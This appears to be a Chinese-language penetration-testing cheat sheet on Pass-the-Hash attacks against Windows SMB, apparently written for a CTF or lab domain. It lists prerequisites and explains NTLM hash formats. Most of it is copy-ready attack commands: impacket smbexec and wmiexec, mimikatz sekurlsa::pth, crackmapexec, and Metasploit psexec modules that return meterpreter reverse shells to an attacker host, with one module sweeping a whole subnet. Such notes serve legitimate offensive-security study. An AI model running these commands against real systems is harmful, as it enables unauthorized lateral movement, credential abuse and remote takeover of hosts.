PTH

PASS THE Hash 也叫 Hash 传递攻击,用于模拟用户登录不需要用户明文密码只需要就可以直接用获取到的 Hash 来登录目标系统

利用前提条件

  • 开启 445 端口 SMB 服务
  • 开启 admin$ 共享

一个用户存储的 HASH 可能如下:

1
2
* LM       : AAD3B435B51404EEAAD3B435B51404EE
* NTLM : e19ccf75ee54e06b06a5907af13cef42

NTLM Hash = LM Hash + NT Hash

LM 已经被弃用

当 LM Hash 为 AAD3B435B51404EEAAD3B435B51404EE 时,可能密码为空或者没有存储 LM HASH

有些工具可能需要输入 Hash 的格式为 LM Hash:NT Hash,没有 LM Hash 可以使用任意 32 个字符填充

利用方式

impacket-smbexec

1
impacket-smbexec -hashes :2c66200c70475bd322b880f813f34d7a administrator@172.22.8.15

impacket-wmiexec

1
proxychains impacket-wmiexec XIAORANG/WIN2016\$@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

mimikataz

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:2c66200c70475bd322b880f813f34d7a" exit

crackmapexec

1
proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 2c66200c70475bd322b880f813f34d7a -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

Metasploit

Metasploit 有3个 psexec 模块可以进行 PTH 攻击,分别是:

1
2
3
4
5
6
7
8
# 执行单个命令的 PTH 模块
auxiliary/admin/smb/psexec_command

# 执行直接就获取到 meterpreter 的 PTH 模块
exploit/windows/smb/psexec

# 支持对一个网段进行 PTH 进行验证的模块
exploit/windows/smb/psexec_psh

auxiliary/admin/smb/psexec_command

1
2
3
4
5
6
msf5 > use auxiliary/admin/smb/psexec_command
msf5 > set rhosts 10.211.55.14
msf5 > set smbuser administrator
msf5 > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 > set command "whoami"
msf5 > run

该模块不支持网段批量验证

exploit/windows/smb/psexec

支持网段格式的 IP,方便批量验证 PTH

1
2
3
4
5
6
7
8
msf5 > use exploit/windows/smb/psexec
msf5 > set rhosts 10.211.55.0/24
msf5 > set smbuser administrator
msf5 > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 > set lhost 10.211.55.4
msf5 > run

meterpreter >

exploit/windows/smb/psexec_psh

该工具也支持支持网段格式的 IP

1
2
3
4
5
6
7
8
msf5 > use exploit/windows/smb/psexec_psh
msf5 > set rhosts 10.211.55.14
msf5 > set smbuser administrator
msf5 > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 > set lhost 10.211.55.4
msf5 > run

meterpreter >